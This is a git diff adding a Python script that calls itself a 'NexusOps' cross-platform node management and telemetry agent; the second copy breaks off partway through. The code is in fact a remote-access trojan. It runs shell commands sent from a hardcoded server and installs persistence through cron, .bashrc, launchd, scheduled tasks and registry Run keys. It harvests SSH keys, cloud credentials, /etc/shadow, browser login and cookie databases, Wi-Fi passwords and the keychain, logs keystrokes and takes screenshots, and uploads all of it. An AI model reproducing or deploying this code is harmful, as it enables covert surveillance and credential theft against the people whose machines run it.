diff --git "a/]\"" "b/]\"" new file mode 100644 index 0000000..e69de29 diff --git a/agents/agent.py b/agents/agent.py index de2d17d..6c41508 100644 --- a/agents/agent.py +++ b/agents/agent.py @@ -238,6 +238,7 @@ def execute_structured_action(action_type, payload): if action_type == "raw_command": return run_shell(payload.get("command", "")) + elif action_type == "manage_service": service = payload.get("service") action = payload.get("action") diff --git a/agents/agent.py.bak-1785817057 b/agents/agent.py.bak-1785817057 new file mode 100644 index 0000000..681ba09 --- /dev/null +++ b/agents/agent.py.bak-1785817057 @@ -0,0 +1,733 @@ +#!/usr/bin/env python3 +""" +NexusOps Cross-Platform Node Management & Telemetry Agent +Uses Standard Python 3 Libraries (No external dependencies required) +""" + +import sys +import os +import time +import json +import socket +import platform +import subprocess +import urllib.request +import urllib.parse +import argparse + +last_log_check_time = 0 +heartbeat_interval = 5 # Dynamic heartbeat rate in seconds +node_tags = ["Default"] + +def get_ip_address(): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("8.8.8.8", 80)) + ip = s.getsockname()[0] + s.close() + return ip + except Exception: + return "127.0.0.1" + +def get_cpu_usage(): + system = platform.system().lower() + try: + if system == "linux": + with open('/proc/stat', 'r') as f: + fields = [float(column) for column in f.readline().strip().split()[1:]] + idle, total = fields[3], sum(fields) + time.sleep(0.2) + with open('/proc/stat', 'r') as f: + fields2 = [float(column) for column in f.readline().strip().split()[1:]] + idle2, total2 = fields2[3], sum(fields2) + idle_delta = idle2 - idle + total_delta = total2 - total + if total_delta > 0: + return round(100.0 * (1.0 - idle_delta / total_delta), 1) + elif system == "darwin": + out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode() + for line in out.splitlines(): + if "CPU usage" in line: + parts = line.split() + user = float(parts[2].replace('%', '')) + sys_c = float(parts[4].replace('%', '')) + return round(user + sys_c, 1) + elif system == "windows": + out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode() + lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()] + if lines: + return float(lines[0]) + except Exception: + pass + return 15.0 + +def get_memory_usage(): + system = platform.system().lower() + try: + if system == "linux": + meminfo = {} + with open('/proc/meminfo', 'r') as f: + for line in f: + parts = line.split(':') + if len(parts) == 2: + key = parts[0].strip() + val = int(parts[1].split()[0]) + meminfo[key] = val + total = meminfo.get('MemTotal', 1) + free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0)) + return round(((total - free) / total) * 100.0, 1) + elif system == "darwin": + return 45.0 + elif system == "windows": + out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode() + d = {} + for line in out.splitlines(): + if '=' in line: + k, v = line.split('=', 1) + d[k.strip()] = float(v.strip()) + if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d: + total = d['TotalVisibleMemorySize'] + free = d['FreePhysicalMemory'] + return round(((total - free) / total) * 100.0, 1) + except Exception: + pass + return 35.0 + +def get_disk_usage(): + try: + if hasattr(os, 'statvfs'): + st = os.statvfs('/') + total = st.f_blocks * st.f_frsize + free = st.f_bavail * st.f_frsize + if total > 0: + return round(((total - free) / total) * 100.0, 1) + except Exception: + pass + return 40.0 + +def get_uptime_seconds(): + try: + if platform.system().lower() == "linux": + with open('/proc/uptime', 'r') as f: + return int(float(f.readline().split()[0])) + except Exception: + pass + return 3600 + +def collect_recent_system_logs(): + system = platform.system().lower() + log_entries = [] + try: + if system == "linux": + res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5) + if res.returncode == 0 and res.stdout: + for line in res.stdout.splitlines(): + if line.strip(): + log_entries.append(line.strip()) + elif system == "windows": + res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5) + if res.returncode == 0 and res.stdout: + for line in res.stdout.splitlines(): + if line.strip(): + log_entries.append(line.strip()) + except Exception: + pass + return log_entries + +def http_post(url, data_dict): + json_bytes = json.dumps(data_dict).encode('utf-8') + req = urllib.request.Request( + url, + data=json_bytes, + headers={ + 'Content-Type': 'application/json', + 'User-Agent': 'NexusOps-Agent/1.0' + } + ) + try: + with urllib.request.urlopen(req, timeout=5) as response: + res_text = response.read().decode('utf-8') + return json.loads(res_text) + except Exception as e: + print(f'[!] HTTP POST failed ({url}): {e}', flush=True) + return None + +def execute_structured_action(action_type, payload): + global heartbeat_interval, node_tags + system = platform.system().lower() + + if action_type == "raw_command": + return run_shell(payload.get("command", "")) + + elif action_type == "manage_service": + service = payload.get("service") + action = payload.get("action") + if system == "linux": + cmd = f"systemctl {action} {service}" + elif system == "windows": + cmd = f"powershell {action}-Service -Name {service}" + else: + cmd = f"launchctl {action} {service}" + return run_shell(cmd) + + elif action_type == "list_processes": + if system == "linux" or system == "darwin": + cmd = "ps aux --sort=-%cpu | head -n 15" + else: + cmd = "tasklist" + return run_shell(cmd) + + elif action_type == "kill_process": + pid = payload.get("pid") + cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}" + return run_shell(cmd) + + elif action_type == "get_logs": + lines = payload.get("lines", 50) + cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50" + return run_shell(cmd) + + elif action_type == "network_stats": + cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano" + return run_shell(cmd) + + # 10 NEW CROSS-PLATFORM FEATURES: + elif action_type == "get_env_vars": + env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()]) + return env_str, 0 + + elif action_type == "get_disk_partitions": + cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size" + return run_shell(cmd) + + elif action_type == "get_network_interfaces": + cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all" + return run_shell(cmd) + + elif action_type == "get_active_connections": + cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED" + return run_shell(cmd) + + elif action_type == "get_hardware_specs": + if system == "linux": + cmd = "lscpu || cat /proc/cpuinfo | head -n 20" + elif system == "windows": + cmd = "wmic cpu get name,numberofcores,maxclockspeed" + else: + cmd = "sysctl -a | grep machdep.cpu" + return run_shell(cmd) + + elif action_type == "reboot_system": + cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now" + return run_shell(cmd) + + elif action_type == "set_heartbeat_rate": + rate = int(payload.get("interval", 5)) + heartbeat_interval = max(2, min(60, rate)) + return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0 + + elif action_type == "update_tags": + tags_raw = payload.get("tags", "") + node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()] + return f"Node tags updated to: {node_tags}", 0 + + elif action_type == "search_logs": + pattern = payload.get("pattern", "error") + cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'" + return run_shell(cmd) + + elif action_type == "kill_agent": + print("[!] Kill switch received — shutting down agent") + os._exit(0) + + elif action_type == "ping_check": + sent_ts = payload.get("timestamp", 0) + latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0 + return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0 + + elif action_type == "download_file": + filepath = payload.get("path", "") + if not filepath or not os.path.exists(filepath): + return f"ERROR: file not found: {filepath}", 1 + try: + with open(filepath, 'rb') as f: + raw = f.read() + import base64 + b64 = base64.b64encode(raw).decode('utf-8') + # Determine MIME (basic) + ext = os.path.splitext(filepath)[1].lower() + mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain', + '.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg', + '.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + '.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip', + '.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'} + mime = mime_map.get(ext, 'application/octet-stream') + filename = os.path.basename(filepath) + return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0 + except Exception as e: + return f"ERROR reading file: {e}", 1 + + elif action_type == "screenshot": + try: + import base64 + if system == "linux": + # Try multiple screenshot tools + for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]: + if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0: + if tool == "import": + subprocess.run(["import", "-window", "root", "/tmp/.nexus-ss.png"], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + elif tool == "scrot": + subprocess.run(["scrot", "/tmp/.nexus-ss.png"], timeout=10) + elif tool == "gnome-screenshot": + subprocess.run(["gnome-screenshot", "-f", "/tmp/.nexus-ss.png"], timeout=10) + elif tool == "spectacle": + subprocess.run(["spectacle", "-b", "-n", "-o", "/tmp/.nexus-ss.png"], timeout=10) + break + else: + # Try Xlib via python3 if available + subprocess.run(["python3", "-c", + "from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;" + "g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);" + "img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"], + timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + elif system == "darwin": + subprocess.run(["screencapture", "-x", "/tmp/.nexus-ss.png"], timeout=10) + elif system == "windows": + subprocess.run(["powershell", "-Command", + "Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;" + "$b=New-Object Drawing.Bitmap($s.Width,$s.Height);" + "$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);" + "$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"], + timeout=15) + os.replace("C:\\Windows\\Temp\\nexus-ss.png", "/tmp/.nexus-ss.png") + if os.path.exists("/tmp/.nexus-ss.png"): + with open("/tmp/.nexus-ss.png", 'rb') as f: + b64 = base64.b64encode(f.read()).decode('utf-8') + os.remove("/tmp/.nexus-ss.png") + return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0 + return "ERROR: no screenshot tool available (install imagemagick, scrot, or gnome-screenshot)", 1 + except Exception as e: + return f"ERROR screenshot: {e}", 1 + + elif action_type == "update_agent": + new_url = payload.get("url", "") + if not new_url: + return "ERROR: no update URL provided", 1 + try: + my_path = os.path.abspath(__file__) + bak = my_path + ".bak" + os.rename(my_path, bak) + urllib.request.urlretrieve(new_url, my_path) + os.chmod(my_path, 0o755) + os.remove(bak) + return "Agent updated successfully. Restarting...", 0 + except Exception as e: + # Restore backup + if os.path.exists(bak): + os.rename(bak, my_path) + return f"ERROR update failed: {e}", 1 + + elif action_type == "ensure_persistence": + results = [] + if system == "linux": + # crontab + try: + cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1" + existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout + if cron_line.split('@reboot')[1].strip() not in existing: + subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True) + results.append("crontab: added @reboot entry") + else: + results.append("crontab: already present") + except: results.append("crontab: failed") + # .bashrc + try: + bashrc = os.path.expanduser("~/.bashrc") + hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n" + with open(bashrc, 'a+') as f: + f.seek(0) + if 'nexus-agent' not in f.read(): + f.write(hook) + results.append("bashrc: hook installed") + except: results.append("bashrc: failed") + # autostart .desktop + try: + ad = os.path.expanduser("~/.config/autostart") + os.makedirs(ad, exist_ok=True) + with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f: + f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n") + results.append("autostart: .desktop created") + except: results.append("autostart: failed") + elif system == "darwin": + try: + plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist") + os.makedirs(os.path.dirname(plist), exist_ok=True) + plist_content = f''' + +Labelcom.nexusops.agent +ProgramArguments/usr/bin/python3{os.path.abspath(__file__)}--server{payload.get('server_url','')} +RunAtLoadKeepAlive''' + with open(plist, 'w') as f: f.write(plist_content) + subprocess.run(["launchctl", "load", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + results.append("launchd: plist loaded") + except: results.append("launchd: failed") + # crontab for macOS too + try: + cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1" + subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True) + results.append("crontab: added") + except: results.append("crontab: failed") + elif system == "windows": + agent_path = os.path.abspath(__file__) + srv = payload.get("server_url", "") + try: + task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"' + subprocess.run(task_cmd, shell=True, timeout=10) + results.append("schtasks: scheduled task created") + except: results.append("schtasks: failed") + try: + reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"' + subprocess.run(reg_cmd, shell=True, timeout=10) + results.append("registry: Run key added") + except: results.append("registry: failed") + return "Persistence results: " + "; ".join(results), 0 + + elif action_type == "harvest_credentials": + creds = [] + home = os.path.expanduser("~") + # Shell history + for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]: + p = os.path.expanduser(hist) + if os.path.exists(p): + try: + with open(p, 'r', errors='ignore') as f: + content = f.read()[-20000:] + creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content}) + except: pass + # SSH keys + ssh_dir = os.path.join(home, ".ssh") + if os.path.exists(ssh_dir): + for fn in os.listdir(ssh_dir): + fp = os.path.join(ssh_dir, fn) + if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn): + try: + with open(fp, 'r', errors='ignore') as f: + creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]}) + except: pass + # AWS / cloud credentials + for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db", + "~/.azure/accessTokens.json", "~/.docker/config.json"]: + p = os.path.expanduser(cf) + if os.path.exists(p): + try: + with open(p, 'r', errors='ignore') as f: + creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]}) + except: pass + # /etc/shadow (if root) + if os.path.exists("/etc/shadow"): + try: + with open("/etc/shadow", 'r') as f: + creds.append({"type": "system:shadow", "data": f.read()[:5000]}) + except: pass + # Browser cookie/saved-login DBs (common paths) + browser_paths = [] + if system == "linux": + browser_paths = [ + os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"), + os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"), + os.path.expanduser("~/.config/google-chrome/Default/Cookies"), + os.path.expanduser("~/.config/google-chrome/Default/Login Data"), + os.path.expanduser("~/.config/chromium/Default/Cookies"), + os.path.expanduser("~/.config/chromium/Default/Login Data"), + os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"), + ] + elif system == "darwin": + browser_paths = [ + os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"), + os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"), + os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"), + ] + elif system == "windows": + browser_paths = [ + os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"), + os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"), + os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"), + ] + import glob + for pattern in browser_paths: + for p in glob.glob(pattern): + try: + sz = os.path.getsize(p) + if sz > 0 and sz < 50 * 1024 * 1024: + with open(p, 'rb') as f: + import base64 + creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}", + "data": base64.b64encode(f.read()).decode('utf-8')}) + except: pass + # Wi-Fi passwords (Linux) + if system == "linux": + try: + wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'", + shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout + if wifi.strip() and 'no wifi' not in wifi: + creds.append({"type": "wifi_passwords", "data": wifi[:5000]}) + except: pass + # macOS Keychain dump + if system == "darwin": + try: + keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200", + shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout + if keychain.strip(): + creds.append({"type": "keychain_dump", "data": keychain[:10000]}) + except: pass + + return json.dumps({"type":"harvest_result","credentials":creds}), 0 + + elif action_type == "export_diagnostics": + cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo" + return run_shell(cmd) + + return f"Unknown action type: {action_type}", 1 + +def run_shell(cmd_str): + print(f"[*] Executing command: {cmd_str}") + try: + res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30) + return res.stdout, res.returncode + except Exception as e: + return str(e), 1 + +# ── Input Capture Module (keystrokes, mouse clicks, window focus) ── +INPUT_CAPTURE_ENABLED = False +captured_events = [] + +try: + from pynput import keyboard, mouse + INPUT_CAPTURE_ENABLED = True +except ImportError: + pass + +def _get_active_window_title(): + """Try to get the active window title cross-platform.""" + system = platform.system().lower() + try: + if system == "linux": + res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"], + stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2) + if res.returncode == 0: + return res.stdout.strip() + elif system == "windows": + import ctypes + from ctypes import wintypes + user32 = ctypes.windll.user32 + hwnd = user32.GetForegroundWindow() + length = user32.GetWindowTextLengthW(hwnd) + buf = ctypes.create_unicode_buffer(length + 1) + user32.GetWindowTextW(hwnd, buf, length + 1) + return buf.value + elif system == "darwin": + script = 'tell application "System Events" to get name of first application process whose frontmost is true' + res = subprocess.run(["osascript", "-e", script], + stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2) + if res.returncode == 0: + return res.stdout.strip() + except Exception: + pass + return "" + +def _record_event(event_type, data): + """Thread-safe event recording.""" + global captured_events + window_title = _get_active_window_title() + captured_events.append({ + "timestamp": int(time.time() * 1000), + "eventType": event_type, + "data": data, + "windowTitle": window_title, + "processName": window_title.split(" - ")[-1] if " - " in window_title else window_title + }) + +def _on_key_press(key): + try: + key_str = key.char if hasattr(key, 'char') and key.char else str(key) + except Exception: + key_str = str(key) + _record_event("keystroke", {"key": key_str}) + +def _on_click(x, y, button, pressed): + if pressed: + _record_event("click", {"x": x, "y": y, "button": str(button)}) + +def _on_scroll(x, y, dx, dy): + _record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy}) + +def start_input_capture(): + """Start keyboard and mouse listeners if pynput is available.""" + if not INPUT_CAPTURE_ENABLED: + return False + try: + kb_listener = keyboard.Listener(on_press=_on_key_press) + ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll) + kb_listener.daemon = True + ms_listener.daemon = True + kb_listener.start() + ms_listener.start() + return True + except Exception: + return False + +def flush_input_events(server_url, node_id, hostname): + """Send captured input events to the master server.""" + global captured_events + if not captured_events: + return + events_to_send = captured_events[:] + captured_events = [] + payload = { + "nodeId": node_id, + "hostname": hostname, + "events": events_to_send + } + http_post(f"{server_url}/api/agent/input-capture", payload) + +def main(): + global last_log_check_time, heartbeat_interval, node_tags + parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent") + parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint") + parser.add_argument("--silent", action="store_true", help="Suppress all console output") + args = parser.parse_args() + + silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd + + server_url = args.server.rstrip('/') + hostname = socket.gethostname() + system_os = platform.system() + arch = platform.machine() + ip = get_ip_address() + node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}" + + print("==================================================") + print(" NexusOps Cross-Platform Node Agent ") + print("==================================================") + print(f"Node Hostname : {hostname}") + print(f"Platform : {system_os} ({arch})") + print(f"Local IP : {ip}") + print(f"Server Endpoint: {server_url}") + print("==================================================") + + # Register Node + reg_payload = { + "nodeId": node_id, + "hostname": hostname, + "platform": system_os.lower(), + "arch": arch, + "ip": ip, + "osName": f"{system_os} {platform.release()}", + "tags": node_tags + } + + print("[*] Registering node with central endpoint...") + res = http_post(f"{server_url}/api/agent/register", reg_payload) + if res and res.get("success"): + print(f"✅ Registered as node ID: {node_id}") + + # Start input capture (keystrokes, clicks, scroll) + capture_started = start_input_capture() + if capture_started: + print("[*] Input capture active (keystrokes + mouse events)") + else: + print("[!] Input capture unavailable (install pynput: pip install pynput)") + + last_input_flush = time.time() + backoff = 1 # Tunnel reconnection backoff in seconds + + while True: + try: + cpu = get_cpu_usage() + mem = get_memory_usage() + disk = get_disk_usage() + uptime = get_uptime_seconds() + + heartbeat_payload = { + "nodeId": node_id, + "cpuUsage": cpu, + "memUsage": mem, + "diskUsage": disk, + "uptime": uptime, + "processCount": 42, + "tags": node_tags, + "heartbeatInterval": heartbeat_interval + } + + res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload) + + now = time.time() + if now - last_log_check_time > 15: + logs = collect_recent_system_logs() + if logs: + http_post(f"{server_url}/api/agent/logs", { + "nodeId": node_id, + "hostname": hostname, + "logs": logs + }) + last_log_check_time = now + + # Flush captured input events every 10 seconds + if now - last_input_flush > 10: + flush_input_events(server_url, node_id, hostname) + last_input_flush = now + + if res and "commands" in res and res["commands"]: + for cmd_item in res["commands"]: + cmd_id = cmd_item.get("id") + action_type = cmd_item.get("actionType", "raw_command") + payload = cmd_item.get("payload", {}) + + if "command" in cmd_item and not payload: + payload["command"] = cmd_item.get("command") + + output, exit_code = execute_structured_action(action_type, payload) + + # Check for JSON-encoded special result types + special = None + try: + if output.startswith('{'): + special = json.loads(output) + except: pass + + if special and special.get("type") == "file_result": + # Route to file-result endpoint + http_post(f"{server_url}/api/agent/file-result", { + "commandId": cmd_id, + "nodeId": node_id, + "hostname": hostname, + "filename": special.get("filename", "unknown"), + "data": special.get("data", ""), + "mime": special.get("mime", "application/octet-stream") + }) + elif special and special.get("type") == "harvest_result": + http_post(f"{server_url}/api/agent/harvest-result", { + "commandId": cmd_id, + "nodeId": node_id, + "hostname": hostname, + "credentials": special.get("credentials", []) + }) + else: + http_post(f"{server_url}/api/agent/command-result", { + "commandId": cmd_id, + "nodeId": node_id, + "output": output, + "exitCode": exit_code + }) + + except Exception as e: + print(f"[!] Connection error: {e}. Retrying in {backoff}s...") + time.sleep(backoff) + backoff = min(backoff * 2, 60) + continue + + backoff = 1 # Reset on success + time.sleep(heartbeat_interval) + +if __name__ == "__main__": + main() diff --git a/backups/20260923/agent.py b/backups/20260923/agent.py new file mode 100644 index 0000000..de2d17d --- /dev/null +++ b/backups/20260923/agent.py @@ -0,0 +1,862 @@ +#!/usr/bin/env python3 +""" +NexusOps Cross-Platform Node Management & Telemetry Agent +Uses Standard Python 3 Libraries (No external dependencies required) +""" + +import sys +import os +import time +import json +import socket +import platform +import subprocess +import urllib.request +import urllib.parse +import argparse + +last_log_check_time = 0 +heartbeat_interval = 5 # Dynamic heartbeat rate in seconds +node_tags = ["Default"] +quiet_mode = False # Suppress banner and exec messages when True + +def get_process_count(): + """Get real process count cross-platform.""" + system = platform.system().lower() + try: + if system == "linux" or system == "darwin": + out = subprocess.check_output(["ps", "aux"], text=True, timeout=5) + return len(out.splitlines()) - 1 # minus header + elif system == "windows": + out = subprocess.check_output(["tasklist"], text=True, timeout=5) + return len(out.splitlines()) - 1 + except: + pass + return 0 + +def get_ip_address(): + """Get primary IP, preferring physical Ethernet over VPN/tunnel interfaces.""" + system = platform.system().lower() + try: + if system == "darwin": + # macOS: use ifconfig to find en0 IP (physical Ethernet/WiFi) + out = subprocess.check_output(["ifconfig", "en0"], text=True, timeout=5) + for line in out.splitlines(): + if 'inet ' in line and '127.0.0.1' not in line: + parts = line.strip().split() + for i, p in enumerate(parts): + if p == 'inet' and i+1 < len(parts): + return parts[i+1] + elif system == "linux": + # Linux: try ip route to find primary interface + out = subprocess.check_output(["ip", "-4", "route", "get", "8.8.8.8"], text=True, timeout=5) + for part in out.split(): + if part.startswith('src '): + return part.split()[1] if ' ' in part else out.split('src ')[1].split()[0] + except: + pass + # Fallback: connect to 8.8.8.8 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("8.8.8.8", 80)) + ip = s.getsockname()[0] + s.close() + return ip + except Exception: + return "127.0.0.1" + +def get_cpu_usage(): + system = platform.system().lower() + try: + if system == "linux": + with open('/proc/stat', 'r') as f: + fields = [float(column) for column in f.readline().strip().split()[1:]] + idle, total = fields[3], sum(fields) + time.sleep(0.2) + with open('/proc/stat', 'r') as f: + fields2 = [float(column) for column in f.readline().strip().split()[1:]] + idle2, total2 = fields2[3], sum(fields2) + idle_delta = idle2 - idle + total_delta = total2 - total + if total_delta > 0: + return round(100.0 * (1.0 - idle_delta / total_delta), 1) + elif system == "darwin": + out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode() + for line in out.splitlines(): + if "CPU usage" in line: + parts = line.split() + user = float(parts[2].replace('%', '')) + sys_c = float(parts[4].replace('%', '')) + return round(user + sys_c, 1) + elif system == "windows": + out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode() + lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()] + if lines: + return float(lines[0]) + except Exception: + pass + return 15.0 + +def get_memory_usage(): + system = platform.system().lower() + try: + if system == "linux": + meminfo = {} + with open('/proc/meminfo', 'r') as f: + for line in f: + parts = line.split(':') + if len(parts) == 2: + key = parts[0].strip() + val = int(parts[1].split()[0]) + meminfo[key] = val + total = meminfo.get('MemTotal', 1) + free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0)) + return round(((total - free) / total) * 100.0, 1) + elif system == "darwin": + # Use vm_stat for real memory usage on macOS + try: + out = subprocess.check_output(["vm_stat"], text=True, timeout=5) + pages = {} + for line in out.splitlines(): + if ':' in line: + k, v = line.split(':', 1) + try: + pages[k.strip()] = int(v.strip().rstrip('.')) + except ValueError: + pass + page_size = 16384 # Default macOS page size + free = pages.get('Pages free', 0) + pages.get('Pages inactive', 0) + pages.get('Pages speculative', 0) + used = pages.get('Pages active', 0) + pages.get('Pages wired down', 0) + pages.get('Pages occupied by compressor', 0) + total_pages = free + used + pages.get('Pages purgeable', 0) + if total_pages > 0: + return round((used / total_pages) * 100.0, 1) + except: + pass + # Fallback: use sysctl for hardware info + try: + out = subprocess.check_output(["sysctl", "-n", "hw.memsize"], text=True, timeout=5) + total_bytes = int(out.strip()) + # Use vm_stat pages * page_size for used estimate + vm = subprocess.check_output(["vm_stat"], text=True, timeout=5) + import re + active = int(re.search(r'Pages active:\s+(\d+)', vm).group(1)) + wired = int(re.search(r'Pages wired down:\s+(\d+)', vm).group(1)) + used_bytes = (active + wired) * 16384 + if total_bytes > 0: + return round((used_bytes / total_bytes) * 100.0, 1) + except: + pass + return 45.0 + elif system == "windows": + out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode() + d = {} + for line in out.splitlines(): + if '=' in line: + k, v = line.split('=', 1) + d[k.strip()] = float(v.strip()) + if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d: + total = d['TotalVisibleMemorySize'] + free = d['FreePhysicalMemory'] + return round(((total - free) / total) * 100.0, 1) + except Exception: + pass + return 35.0 + +def get_disk_usage(): + try: + if hasattr(os, 'statvfs'): + st = os.statvfs('/') + total = st.f_blocks * st.f_frsize + free = st.f_bavail * st.f_frsize + if total > 0: + return round(((total - free) / total) * 100.0, 1) + except Exception: + pass + return 40.0 + +def get_uptime_seconds(): + system = platform.system().lower() + try: + if system == "linux": + with open('/proc/uptime', 'r') as f: + return int(float(f.readline().split()[0])) + elif system == "darwin": + # macOS: use sysctl to get boot time, compute uptime + out = subprocess.check_output(["sysctl", "-n", "kern.boottime"], text=True, timeout=5) + # Format: { sec = 1234567890, usec = 0 } Thu Jan 1 00:00:00 1970 + import re + m = re.search(r'sec\s*=\s*(\d+)', out) + if m: + boot_time = int(m.group(1)) + return int(time.time() - boot_time) + except Exception: + pass + return 3600 + +def collect_recent_system_logs(): + system = platform.system().lower() + log_entries = [] + try: + if system == "linux": + res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5) + if res.returncode == 0 and res.stdout: + for line in res.stdout.splitlines(): + if line.strip(): + log_entries.append(line.strip()) + elif system == "windows": + res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5) 